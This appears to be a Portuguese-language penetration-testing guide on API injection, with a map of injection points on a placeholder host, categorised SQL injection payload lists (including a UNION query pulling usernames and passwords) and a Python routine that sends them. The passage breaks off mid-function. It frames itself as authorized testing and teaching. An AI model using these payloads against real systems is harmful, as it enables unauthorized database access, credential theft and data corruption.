Explorando Vulnerabilidades de Injeção em APIs

Quando Usar

• Testando endpoints de API que aceitam entrada do usuário para consultas de banco de dados, comandos de sistema ou requisições externas
• Avaliando APIs que interagem com bancos de dados SQL, armazenamentos NoSQL (MongoDB, Redis), diretórios LDAP ou URLs externas
• Verificando a validação de entrada e o uso de consultas parametrizadas em todos os endpoints de API
• Testando SSRF onde parâmetros de API aceitam URLs ou nomes de host que disparam requisições do lado do servidor
• Identificando pontos de injeção em cabeçalhos, parâmetros de caminho, strings de consulta e corpos de requisição JSON/XML

Não use sem autorização por escrito. Testes de injeção podem modificar ou destruir dados e comprometer sistemas de backend.

Pré-requisitos

• Autorização por escrito especificando a API alvo e os sistemas de backend em escopo
• Python 3.10+ com a biblioteca requests
• SQLMap para detecção e exploração automatizada de injeção SQL
• Burp Suite Professional com capacidades de Active Scan
• Conhecimento da tecnologia do banco de dados de backend (MySQL, PostgreSQL, MongoDB, Redis)
• Ambiente de teste isolado para evitar corrupção de dados de produção

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1: Identificação do Ponto de Injeção

import requests
import json
import urllib.parse

BASE_URL = "https://target-api.example.com/api/v1"
headers = {"Authorization": "Bearer <token>", "Content-Type": "application/json"}

# Map all input points across the API
injection_points = [
    # Path parameters
    {"type": "path", "method": "GET", "url": "/users/{input}"},
    {"type": "path", "method": "GET", "url": "/products/{input}"},
    {"type": "path", "method": "GET", "url": "/orders/{input}"},
    # Query parameters
    {"type": "query", "method": "GET", "url": "/users?search={input}"},
    {"type": "query", "method": "GET", "url": "/products?sort={input}&order={input}"},
    {"type": "query", "method": "GET", "url": "/products?category={input}"},
    {"type": "query", "method": "GET", "url": "/search?q={input}"},
    # JSON body parameters
    {"type": "body", "method": "POST", "url": "/auth/login", "fields": ["username", "password"]},
    {"type": "body", "method": "POST", "url": "/users", "fields": ["name", "email"]},
    {"type": "body", "method": "POST", "url": "/search", "fields": ["query", "filters"]},
    {"type": "body", "method": "POST", "url": "/webhook", "fields": ["url", "callback_url"]},
    # Header parameters
    {"type": "header", "method": "GET", "url": "/users/me", "headers": ["X-Forwarded-For", "Referer", "User-Agent"]},
]

Etapa 2: Teste de Injeção SQL

# Payloads de injeção SQL para diferentes contextos
SQL_PAYLOADS = {
    "detection": [
        "'",
        "\"",
        "' OR '1'='1",
        "\" OR \"1\"=\"1",
        "1 OR 1=1",
        "' OR 1=1--",
        "' UNION SELECT NULL--",
        "1; WAITFOR DELAY '0:0:5'--",
        "1' AND SLEEP(5)--",
        "1)) OR 1=1--",
    ],
    "union_based": [
        "' UNION SELECT NULL,NULL,NULL--",
        "' UNION SELECT 1,2,3--",
        "' UNION SELECT username,password,NULL FROM users--",
        "-1 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--",
    ],
    "error_based": [
        "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e))--",
        "' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--",
    ],
    "time_based": [
        "' AND SLEEP(5)--",
        "'; WAITFOR DELAY '0:0:5'--",
        "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
        "1; SELECT pg_sleep(5)--",
    ],
}

import time

def test_sql_injection(endpoint, param_name, param_type="query"):
    """Testa um parâmetro para injeção SQL."""
    results = []

    for category, payloads in SQL_PAYLOADS.items():
        for payload in payloads:
            start = time.time()

            if param_type == "query":
                url = f"{BASE_URL}{endpoint}"
                resp = requests.get(url, headers=headers,
                                  params={param_name: payload}, timeout=15)
            elif param_type == "body":
                resp = requests.post(f"{BASE_URL}{endpoint}",
                                   headers=headers,
                                   json={param_name: payload}, timeout=15)

…